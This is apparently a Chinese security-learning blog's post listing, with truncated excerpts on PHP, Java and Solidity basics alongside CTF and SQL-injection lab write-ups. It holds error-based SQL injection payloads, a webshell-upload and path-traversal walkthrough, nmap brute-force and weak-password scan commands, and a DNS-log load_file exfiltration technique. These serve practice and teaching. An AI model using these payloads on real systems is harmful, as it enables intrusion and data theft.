ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
1234strtoupper()转换成大写ucfirst()第一个字符转换成大写lcfirst()第一个字符转换为小写ucwords()第一个单词转换成大写
java-数据结构
java创建数组12345678910double[] a;//声明数组int N = 100;a = new double[N];for (int i = 0;i < N;i++) { a[i] = 0.0;//初始化！}//也可以用简单写法double[] b = new double[N];//或者直接声明初始化double[] c = {1,2,3,4,5,6};
找到最大值伪代码
123456对于一个数组a[n]max = 0for i in range(length(a[n])): if (a[i] > max): max = a[i]return max
我们用java来实现一下
12345678910int N = 100;double[] a = new double[N];//声明数组for (int i = 0;i < N;i++) { a[i] = i;}double max = 0;for (int i = 0;i < N;i++) { if (a[i] > ...
PHP类和对象，一些字符串函数复习
123456789101112131415161718192021<?php class Car{ public $color; public $model; public function __construct($color, $model){ $this -> color = $color; $this -> model = $model; } public function message(){ return "My car is a".$this -> color."".$this -> model."!";#注意要加分号！ }}#上面完成了对类的定义！$myCar = new Car("black", "Volvo");#实例化类，对其对象赋值；echo $myCar -> message();#调 ...
区块链天枢计划课程笔记（一）
用int 和uint来声明，其中X是8-256之间的8的倍数，表示有多少个bit(二进制位)，如int8,uint32
12type(x).maxtype(x).min会给出当前类型x能取的上下界。
address与address payable储存160个bit长的信息，后者多了向他转账的功能
1address.balance返回当前地址金额
12345address payable x = address(0x123);address myAddress = address(this);x.transfer(10)//or x.send(10)都表示向x转账10第二行表示当前合约的地址。
同样有短路操作&& ||
定长数组：bytes1,bytes2,bytes32......表示储存了1，2，32个bytes的数组。
bytes32 x可以用下标访问。同样有位运算，常规数组和C++类似 如int a[10];
支持动长数组 a[] .length返回长度
.push增加新元素并返回新长度，在solidity练习中练习过。
也用char来声明字符变量， ...
sql靶场题解
1?username=admin'--+&password=admin'
sql注入五-报错注入此处使用updatexml()
1?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
或者用extractvalue()
1?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
查询表o
1?id=1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
1?id=1' and extractvalue(1,concat(0x7e,(select id from database.table_name),0x7e)) --+
sql注入六-报错注入与 ...
pop链反序列化的简单应用
我们来看题目源码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->appe ...
php学习(5):文件包含
今天学习高级部分先从简单的开始，时间和日期：123<?phpecho "Time is".date("h, i, sa");?>
解释一下，
1234h: houri: minutes: seconda:小写的am,pm后缀
显示如图所示。
在网站上可以自动更新版权年份：
12345<html><body>©-<?php echo date("Y");?></body></html>
如图所示。
最简单的年月日表示：
12345<?phpecho "Today is ".date("Y-m-d")."<br>";echo "Today is ".date("Y.m.d")."<br>";#此处表示年月日echo "Today is ".date("l" ...
CISCN2019 华北赛区 Day1 Web1 Dropbox
打开之后先注册一个用户，然后登陆，看到可以传输文件，传一个木马改jpg上去看到可以下载，先打开burpsuite抓个包，然后输入cookie在burp上进入我们那个用户。
可以看到进入我们那个用户了，能看到我们注册的用户上传的文件。
下载文件在download.php，
而且文件变量叫filename,所以抓个下载包。
可以看出光下载我们的文件是没用的，我这个文件是用来getshell的，只不过本题不能这样，我们可以在这里下载源码
post传参下载，注意我一开始传的../../../报错说找不到文件，需要传../../即可
这个需要经验积累，或者只能尝试了。
我们在源码里面找到了还有class.php和login.php,全下载下来看看。
又在这里找到了register.php,找到的都下载！
看到下面有file_get_contents()也就是只要让filename是flag.txt就能读出，还要想办法让其回显。
我们看到了class.php中的析构函数
12__construct()__destruct()
两个函数分别是在类实例化时和调用结束时触发，也就是con ...
nmap基础命令
nmap基础命令nmap -F ip -T4快速扫描，但信息可能较少
nmap ip -A 全部扫描，非常详细
nmap -sP ip 通信扫描，如果无法ping通则扫描失败
nmap 直接加ip范围，扫描同一局域网主机
nmap —script=auth 电脑ip 对目标主机及所在网段进行弱口令检测
nmap —script=brute 电脑ip 暴力破解如数据库,SMB,SNMP等
nmap —script=vuln ip 查看目标ip是否存在常见漏洞
nmap -sF -T4 ip 探测防火墙状态
nmap -sV ip探测目标地址开放端口以及对应服务版本
nmap -sP ip范围，扫描在线主机
nmap ip范围 -exclude ip 除了此ip以外的所有ip
nmap ip -p 80,21,22对指定ip的端口扫描
nmap —traceroute ip 进行路由跟踪
nmap -sF/sA ACK 或FIN扫描，很隐蔽，不容易被发现，TCP扫描的一种
nmap -sU UDP扫描，可靠度不高。一般仅扫描53（dns)和161(smap)端口。
DNS注入基础-避免频繁访问被封ip
先来将SQL基础，这里用不一样的方式打开数据库
启动cmd,在mysql的二进制文件目录下启动CMD，并且输入mysql
数据库已经启动
当然，如果你之前设置过密码，启动的时候输入mysql -uroot -p然后输入密码并且启动；
启动之后可以查看当前数据库show databases;
记得每句话要加分号，我们可以先选定一个数据库，use+数据库；
然后select database();查看当前数据库
现在尝试concat(拼接字符)
concat(‘a’,’b’);
看图的下面你也同样看到了其他的语句结合我们刚才用dnslog.cn做的实验查到的域名做拼接
语句在图中，并且可以尝试一个新函数load_file();
特别注意，WWW下的文件是可以在网页中执行的，所以是正斜杠，但是我们复制文件路径的时候是反斜杠，自己要改过来
同时还可以读取远程文件，刚才是读本地文件
要用unc路径即//+域名
select load_file(‘//www.mss.cn/2.txt’);
读取远程文件必先用dns服务器转换域名
要通过ip来找服务器
我们先select concat(‘//‘, ...